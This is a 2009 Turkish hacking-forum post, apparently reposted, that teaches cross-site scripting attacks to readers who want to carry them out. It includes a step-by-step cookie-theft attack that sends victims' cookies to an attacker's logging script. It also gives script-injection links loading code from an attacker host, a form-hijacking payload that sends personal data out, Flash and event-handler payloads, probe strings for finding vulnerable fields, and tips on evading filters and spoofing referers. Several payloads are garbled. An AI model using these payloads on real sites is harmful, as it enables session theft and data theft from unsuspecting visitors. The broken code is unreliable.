CryptoSuite.Org

Geri git   CryptoSuite.ORG || The Best Encryption Platform Of The World > Hack & Security > Web Hacking & Security > Cross Site Reference Forgery ( Csrf - Xsrf )

Konu Bilgileri
Konu Başlığı
Css-Xss
Konudaki Cevap Sayısı
0
Şuan Bu Konuyu Görüntüleyenler
 
Görüntülenme Sayısı
249

Yeni Konu aç Cevapla
 
LinkBack Seçenekler Stil
Alt 06-02-09, 17:36   #1 (permalink)
Member
 

User ID : 482
Messages : 1.190
Threads : 333
Thanks : 214
Rat : Kullanmıyorum
bypit isimli Üye şimdilik offline konumundadır
CryptoSuite.Org
Standart Css-Xss

CSS Dökümanı

Web-tabanlı uygulamalar gleimeye başladıkça bu uygulamalarda açık bulunma olasılığıda hızla gelişmekte. Bu sınıftaki ataklar genel olarak Cross-Site Scrpting olarak isimlendirilmekte ve gün geçtikçe güçlenmekte. Hemen hemen bütün web uygulaması geliştiren programcılar artık bu saldırılara karşı önlemler almaya çalışıyor olsa da uygulama geliştikçe gözden kaçan alanlar olmakta ve saldırı yapmayı düşünenler bu açıkları başarıyla kullanmaktalar...

Bu tür atakların başarıya ulaşmasındaki en büyük etkin tarayıcıyla ilgili. Tabii bunu okuyupta hemen ben Firefox kullanıyorum gibi şeyler içinizden geçiriyor olabilirsiniz ancak hiç bir zaman çözüm özgül bir yazılımda olamaz. Internet Explorer da,Firefox’ta, Netscape Navigator’de bu tür ataklara her zaman açıktır. Önemli olan kullandığınız browser değil, o browserın nasıl configure edildiğidir.
Hemen hemen bütün tarayıcılar HTML koduna eklenen scriptleri çalıştırma özelliğine sahip olduğundan, saldırı düzenlemekte olan kişinin CSS kullanımı ile bilgisayarınızda istediği scriptleri çalıştırma yetisi olacaktır. Genel olarak zararlı olabilecek kodlar:<SCRIPT>, <OBJECT>, <APPLET> ve <EMBED> tagleri ile size kullanılmaktadır .
Aşağıdaki tablo detayları ile bizim ilgilendiğimiz html taglerini anlatmaktadır :

HTML Tag Açıklama
<SCRIPT> Html sayfasına script ekler.

* type = Scripting dilini belirtir. Text/javascript gibi değerler alır. Bu özellik HTML 4.0 içinde "language" attribute’unun yerine kullanılmaktadır/önerilmektedir.
* language = Scriptin dilini belirtir.
* src = Dışardan çağırabileceğiniz dosyanın adresini belirtir.

<OBJECT> Bir objeyi dökümana ekler. Bu tag genel olarak ActiveX kontrollerinin bilgilerini barındırır

* classid = Objenin class identifier’ını belirler.
* codebase = Codebase adresini belirtir.
* codetype = Kodun media tipini belirtir. Örnek olarak audio/basic, text/html ve image/gif gibi
* data = Objede kullanılacak data adresini belirtir.
* name = Objenin ismini belirtir.
* standby = Obje yüklenirken gösterliecek mesajı belirtir.
* type = Data için media tipini belirtir.
* usemap = Imagemap adresini barındırır.

<APPLET> Dökümana Java Applet eklemek için kullanılır.

* code = Çalıştırılacak kodun class adını belirtir.
* codebase = Yüklenecek kodun adresini belirtir.
* name = Applet’in ismini belirtir.

<EMBED> Dökümana bir objeyi ekler. Eklenmiş objeler genel olarak özel plugin gerektiren objeler olmaktadır.Özel dosya türleri ve pluginleri dosyanın çalıştırılması işlemini gerçekleştirir ve bu pluginlerdeki açıklarda saldırılarda kullanılmakta ve sistemi etkileyebilmektedirler.

* hidden = Aktifleştirildiğinde mediayı gizler.
* name = İsmini belirtir.
* pluginspage = Pluginin yüklenebileceği adresi belirtir.
* src = Yüklenecek dosyanın adresini belirtir.
* code = Çalıştırılacak kodun sınıfını belirtir.
* codebase = Base url’ini belirtir.

<FORM> Form başlangıcı ve sonunu belirtir.

* action = Formun çalıştaracağı scriptin adresi.
* enctype = Değerlerin nasıl encode edileceğini belirtir.
* method = Verilerin göndereilceği methodu belirtir.
* target = Hedef pencereyi belirtir.


Zararlı Kodlar

Saldırı yapılacak kodun etkisi karşı tarafa nasıl ulaştırıldığına bağlı olarak etkisi değişir.
Problem ilk olarak web-tabanlı tartışma grupları(forumlar) ile patlak verdi. Örek olarak eski forum scriptleri kullanıcılardan gelen verileri standard POST formu ile almakta ve direkt olarak diğer kullanıcılara aktarmaktaydı. Kullanıcılar başta mesajlarının dikkat çekmesi için html kodları eklesede bu kodlar zamanla tehlikeli olmaya başlamıştı .
Örnek olarak çok basit bir kod ile gönderdiğiniz verinin geçip geçemeyeceğini öğrenebilirsiniz:

Hello World! <SCRIPT>zararlı kod!</SCRIPT>

Hello World! <EMBED src= "http://www.*lamer.org*/filmizletelim.mov>

Bir çok sitenin bu açıklardan etkilendiği farkedildikçe saldıranlar tekniklerini geliştirdi ve bir çok farklı yöntem ortaya çıktı.
Örnek olarak güvenin kötüye kullanılması. Kullanıcının güvendiği bir websitesi düşünün ve bu siteye istediğiniz kodu ekleyerek kullanıcıyı sizin hazırladığınız sayfaya yönlendirebileceğinizi düşünün. Aşağıdaki kod ile kullanıcıyı kendi hazırladığınız sayfaya kolaylıkla yönlendirebilir ve daha sonra hayal gücünüzle kullanıcıdan istediğiniz bilgileri alabilirsiniz ::

<A HREF=http://site.com/scriptvalue=<script SRC= http://saldiran.com/zararliscript ></script>> Link başlığı!</A>

Bu saldırı ile şunlar yapmaktadır:
• Linki güvenilen site olan site.comdaymış gibi göstermekte,
• Saldırı kodunu kendi sitesinden yükletmekte ve kodu istediği zaman güncelleme şansına sahip olmakta.
Bu saldırı tipi, genel olarak CSSCross-site scripting ya da XSS olarak adlandırılmaktadır">Cross Site Scripting

CSS saldırısının oluşma nedeni web uygulaması geliştiren programcının kullanıcı tarafından gelen verileri doğru olarak filtrelemeden diğer kullanıcılara aktarmasıyla oluşmaktadır. Bu ataklar ile kullanıcının cookieleri, site üzerindeki bilgiler alınabilmektedir.
Hatta forumlarımızdaki diğer dökümanlarda bulabileceğiniz kodları bu tür uygulamalara yükleyip rahatlıkla o sitenin ziyaretçilerinin bilgisayarlarına gireblir, zararlı kodlar çalıştırabilirsiniz. Ayrıca bu domaine verilen özel izinler varsa(activex çalıştırma gib) o izinlerden yararlanıp kullanıcının haberi olmadan bu tür uygulamaları da çalıştırabilirsiniz.
Java appletlar aracılığı ile bu tür bilgilere ulaşamayacak olsanızda, CGI scriptleri, arama motorları, forumlar ve özel oluşturulmuş sayfalar, hata sayfaları ile kullanıcıları yönlendirebilirsiniz. Bu tür yöntemler worm yazarken bile kullanılmakta ve etkisinin hiç bir zaman küçümsenmemesi gerekmektedir.

İşte Nasıl Saldırı Yapabileceğinizin Anlatımı:

1. Saldıran siteyi incelemekte ve kullanıcının bilgilerinin cookielerde saklandığını farkeder.
2. Saldıran site üzerinde CSS saldırısı yapabileceği bir sayfa bulur.
3. Sosyal mühendislik yöntemi ile kullanıcı site üzerinde bir link hazırlar ve bu linki ilgilenebilecek kişilere gönderir
4. Sayfayı açan kullanıcılar herhangi birşeyin farkına varmadan aşağıdaki kodun etkisine maruz kalır
<img src= "http://guvenilensite.com/scriptid=<script>document.location .replace http://sizinsiteniz.com/loglaveri= +.;</script>>
5. Ve bu saldırının gerçekleştirilmesiyle logla scripti aracılığı ile kullanıcının cookie bilgileri sizin sunucunuzda saklanmıştır.

Logla scripti eklenti olarak threadde bulunmaktadır">Kod Eklemeyi Anlama

Aşağıdaki en çok kullanılan kodlara göreceksiniz:
Inline Scripting

http://site.com/search.cgi?criteria=<script>code</script>

http://site.com/search.asp?val=<SCRIPT Yasak Kelime#146;http://sizinsiteniz.com/zararlikod.js’> </SCRIPT>

http://site.com/COM2.IMG%20src= "Javascript*alert ZararliKod*document.domain)"
<SCRIPT> Olmayan Kodlar

<b onMouseOver="self.location.href=’http://sizinsiteniz.com/’">BOLD YAZI </b>
Ziyaretçi link üzerine geldiğinde saldırı gerçekleştir ve JavaScript kodu çalışır .
Payloads Formatting

<img src = "zararli.js">

<script>alert(’hacked ’)</script>

<iframe = "zararli.js">

<script>document.write(’<img src= "http://siteniz.com/loglaveri= +">Kod Ekleme Örneği
Dinamik Adres Oluşturma

Windows sunucular üzerinde ASP scripti ile dinamik sayfaların oluşturabildiğini hepimiz bilmekteyiz
Örnek olarak aşağıdaki link ile arama yapılmakta ve bu arama sonucunda ilgili bağlantılar listelenmekte:
<A href= "http://site.com/aramayap.asp?aranacakkelime=herhangibirsey">Herhan gi bir sey ara </A>
Aşağıdaki asp kodu ile script hiç bir filtrelemeden geçmeden çalıştırılmakta:

<%
var BaserUrl = "http://site.com/arama2.asp?
searchagain=";Response.Write("<a href=\\"" + BaseUrl
+ Request.QueryString("herhangibirsey") + "\\">Tekrar Ara</a>" )
%>

Eğer saldırıyı yapan kişi "aranacakkelime" bölümünü aşağıdaki gibi bir kodla değiştirse:
<a href= "http://site.com/aramayap.asp?
aranacakkelime=“+onmouoseover%3D’ClientForm%
2Eaction%3D“sizinsiteniz%2Ecom%2Flogla%2Ephp%3Fver i%
3D“+%2B+ClientForm%2EPersonalData%3BClientForm%
2Esubmit%3B’">Tekrar Ara</a>

Sayfayı ziyaret eden kişi şöyle bir sayfayı yükleyecektir:
<A href= "http://site.com/arama2.asp?
tekrarara="" onmouoseover=’ClientForm.
action="sizinsiteniz.com/logla.php?veri=" +
ClientForm.PersonalData;ClientForm.
submit;’">Tekrar</A>

Bu durumda saldırı yapan kişi istediği kodları sayfaya ekledi ve bu sayfayı ziyaret eden kişiden aldığı bilgileri kendi sayfasına gonderip logla.php dosyası ile kayıt etti.

Anti-CSS Filtrelerini Atlatma

Bazı uygulamalarda programcı bu tür zararlı karakterleri filtreleyecek sistemler kullanmakta ve muhtemel zararlı durumların önüne geçmeye çalışmakta.
Her programcı aşağıdaki kodları filtrelemeyeceği için bu karakterleri kullanarak anti-css filtrelerinden kurtulmanız mümkün:




Macromedia Flash

Flash yazılımı artık bütün kullanıcıların tarayıcılarında bulunmakta ve bu popüler plugin kendi scripting dilini kullanmakta. ActiveScript adı verilen bu dil ile interaktif menuler, oyunlar, animasyonlar hazırlanmaktadır.
ActiveScript getURL olarak cagrilan vir fonksyionu sahip olmakta ve bu fonksyon ile kullanıcı farklı bir adrese yönlendirilmektedir.

Örnek olarak kodu aşağıdaki gibi kullanabilirsiniz:
getURL("http://www.siteadresi.com")

Zararlı olan :
getURL("javascript*alert ZararliKod*document.cookie)")

Bu yöntem ile <script> gibi tagleri filtreleyen sistemlerin önüne geçerek flash eklentisi ile kullanıcıyı yönlendirebilirsiniz.
Aşağıdaki kod ile bu saldırı gerçekleştirebilirsiniz:

<EMBED
src= "http://siteniz.com/flash.swf pluginspage=http://www.macromedia">Saldırı Testi


Saldırı yapıp yapamayacağınız test etmek çok basittir. Anahtar sunucu tarafından oluşturlan dinamik sayfalardadır:

1. Her aktif bilgi girişi alanına (bunlar HTML formunda ya da sayfa adresi içinde degisken= seklinde bulunabilir) aşağıdaki tagleri deneyin:
<script>alert(’Saldırıya Açık!’)</script>
<img csstest=javascript*alert ZararliKod*’Saldırıya Açık!’)>
&{alert(’Saldırıya Açık!’)};
Eğer saldırıya açıksa sizinde farkedeceğiniz gibi “Saldırıya Açık!” şeklinde bir uyarı penceresi gelecek.
2. Html kodundaki problemlerden dolayı bu uyarı ekranı çıkmayabilir. O yüzden pes etmeyin.
3. Birinci verdi anlattığımız gibi her bilgi girişi alanında şunları deneyin:
’’;!--"<CSS_Check>=&{()} (Çift tırnak ile başlıyor!)
Sonuç sayfasında “<CSS_Check>“ alanını arayın. Eğer “<CSS_Check>“ gelirse yazılım büyük ihtimalle saldırıya açıktır! Eğer beklediğimiz veri gelmezse ya da %ltCSS_Check%gt gibi bir veri gelirse saldırıya açık değildir!
4. Bu işlemler başarısız olursa bir sonraki deneme olarak form içinde hidden olarak yer alan veri girişi alanları üzerinde deneme yapın.
5. Genelde denemelerinizde HTTP GET ile başlayacak olsanızda saldırılar genelde HTTP POST üzerinden gerçekleştirilmekte. Bu yüzden HTTP Protokolu ile ilgili bilginiz yoksa biraz daha geliştirmenizi ya da 1stClass Forumlarında sorularınızı sormanızı öneririz .


HTTP Referer

HTTP standardı olarak headerlarda gönderilen bir veri bulunmakta. Bu veri referer olarak adlandırılmata ve dosyanın nerden çağrıldığını belirtmektedir. Yazılım geliştiriciler bu tür saldırılardan korunmak için referer korumaları kullanmakta ancak bu koruma çok kolaylıkla aşılmaktadır. Bu nedenle saldırınızı yaparken bir sorunla karşılaşırsanız ya da başarısız olursanız bu bir şey yapmamayacağınız anlamına gelmez. O yüzden saldırınızı refererlarınızı düzenleyerekte tekrar etmeniz gerekebilir.

Clicker gibi yazılımlarla bu tür saldırıları rahatlıkla yapabilir ve referar spoofing uygulamasını da gerçekleştirebilirsiniz...

Alıntıdır saygılar (paylasımları okumadan direk koymuyorum )

ByPiT
  Alıntı ile Cevapla
Cevapla

Bookmarks


Konuyu Toplam 1 Üye okuyor. (0 Kayıtlı üye ve 1 Misafir)
 
Seçenekler
Stil

Yetkileriniz
Konu Acma Yetkiniz Yok
Cevap Yazma Yetkiniz Yok
Eklenti Yükleme Yetkiniz Yok
Mesajınızı Değiştirme Yetkiniz Yok

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodu Kapalı
Trackbacks are Açık
Pingbacks are Açık
Refbacks are Açık



WEZ Format +3. Şuan Saat: 18:30.


5651 Sayılı Kanun’un 8. maddesine ve T.C.K’nın 125. maddesine göre TÜM ÜYELERİMİZ yaptıkları paylaşımlardan sorumludur.
Sitemiz, hukuka, yasalara, telif haklarına ve kişilik haklarına saygılı olmayı amaç edinmiştir. Sitemiz, 5651 sayılı yasada tanımlanan “yer sağlayıcı” olarak hizmet vermektedir. İlgili yasaya göre, site yönetiminin hukuka aykırı içerikleri kontrol etme yükümlülüğü YOKTUR!Bu sebeple, sitemiz “uyar ve kaldır” prensibini benimsemiştir. Telif hakkına konu olan eserlerin yasal olmayan bir biçimde paylaşıldığını ve yasal haklarının çiğnendiğini düşünen hak sahipleri veya meslek birlikleri, BURADAN bize ulaşabilirler. Buraya ulaşan talep ve şikayetler Hukuk Müşavirimiz tarafından incelenecek, şikayet yerinde görüldüğü takdirde ihlal olduğu düşünülen içerikler sitemizden kaldırılacaktır.Ayrıca, mahkemelerden talep gelmesi halinde hukuka aykırı içerik üreten ve hukuka aykırı paylaşımda bulunan üyelerin tespiti için gerekli teknik veriler sağlanacaktır.Sitemiz üzerinden yapılan satış ilanları sadece firmalar için olup, kötüye kullanımından doğacak hasarlardan kesinlikle sitemiz sorumlu tutulamaz.